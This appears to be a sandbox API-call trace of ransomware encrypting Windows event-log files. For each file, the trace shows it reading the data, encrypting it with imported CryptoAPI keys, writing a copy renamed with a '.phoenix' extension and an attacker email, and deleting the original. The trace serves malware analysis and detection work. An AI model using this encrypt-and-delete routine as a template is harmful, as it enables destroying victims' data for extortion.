	[0222.636] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0222.637] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.637] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0222.637] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0222.638] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0222.638] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0222.638] ReadFile (in: hFile=0x2cc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.297] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0223.297] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0223.299] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0223.299] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.299] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0223.299] CryptDestroyKey (hKey=0x151080) returned 1
	[0223.299] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0223.299] CryptDestroyKey (hKey=0x151040) returned 1
	[0223.299] CloseHandle (hObject=0x2cc) returned 1
	[0223.299] CloseHandle (hObject=0x2d8) returned 1
	[0223.304] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1
	[0223.305] SetEvent (hEvent=0x278) returned 1
	[0223.306] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0223.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0223.306] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0223.306] CloseHandle (hObject=0x2d8) returned 1
	[0223.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0223.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0223.306] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.306] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.306] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0223.307] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0223.307] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.307] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.336] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0223.336] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0223.338] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0223.338] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.338] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0223.338] CryptDestroyKey (hKey=0x151580) returned 1
	[0223.338] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0223.338] CryptDestroyKey (hKey=0x151100) returned 1
	[0223.338] CloseHandle (hObject=0x2d8) returned 1
	[0223.339] CloseHandle (hObject=0x2cc) returned 1
	[0223.343] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1
	[0223.345] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0223.345] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0223.345] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0223.345] CloseHandle (hObject=0x2cc) returned 1
	[0223.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0223.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.345] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0223.345] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.345] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.345] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0223.346] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0223.346] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.346] ReadFile (in: hFile=0x2cc, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.358] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0223.358] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0223.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0223.360] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.360] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70, dwBufLen=0x70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x70) returned 1
	[0223.360] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0223.360] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x122, lpOverlapped=0x0) returned 1
	[0223.360] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0223.360] CloseHandle (hObject=0x2cc) returned 1
	[0223.360] CloseHandle (hObject=0x2d8) returned 1
	[0223.362] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1
	[0223.363] SetEvent (hEvent=0x278) returned 1
	[0223.363] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0223.363] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0223.364] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0223.364] CloseHandle (hObject=0x2d8) returned 1
	[0223.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0223.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0223.364] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.364] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0223.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0223.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0223.364] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.364] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.388] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0223.388] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0223.390] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0223.390] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0223.390] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0223.390] CryptDestroyKey (hKey=0x151140) returned 1
	[0223.390] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0223.390] CryptDestroyKey (hKey=0x151100) returned 1
	[0223.390] CloseHandle (hObject=0x2d8) returned 1
	[0223.390] CloseHandle (hObject=0x2cc) returned 1
	[0223.392] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1
	[0223.394] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0223.394] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0224.307] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0224.307] CloseHandle (hObject=0x2f0) returned 1
	[0224.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0224.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.333] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0224.333] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.333] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.333] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0224.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0224.334] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.334] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.402] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0224.402] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0224.405] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0224.406] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.406] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0224.406] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0224.406] WriteFile (in: hFile=0x2cc, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0224.406] CryptDestroyKey (hKey=0x151500) returned 1
	[0224.406] CloseHandle (hObject=0x2c8) returned 1
	[0224.406] CloseHandle (hObject=0x2cc) returned 1
	[0224.821] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1
	[0224.822] SetEvent (hEvent=0x278) returned 1
	[0224.822] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0224.822] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.823] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=69632) returned 1
	[0224.823] CloseHandle (hObject=0x2c4) returned 1
	[0224.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0224.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.823] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.823] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.823] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0224.823] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0224.824] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0224.824] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.824] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x11000, lpOverlapped=0x0) returned 1
	[0224.842] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010, dwBufLen=0x11010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x11010) returned 1
	[0224.842] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x11010, lpOverlapped=0x0) returned 1
	[0224.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0224.844] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0224.844] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0224.844] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0224.844] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0224.845] CryptDestroyKey (hKey=0x151280) returned 1
	[0224.845] CloseHandle (hObject=0x2c4) returned 1
	[0224.845] CloseHandle (hObject=0x2e8) returned 1
	[0224.847] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1
	[0224.848] SetEvent (hEvent=0x278) returned 1
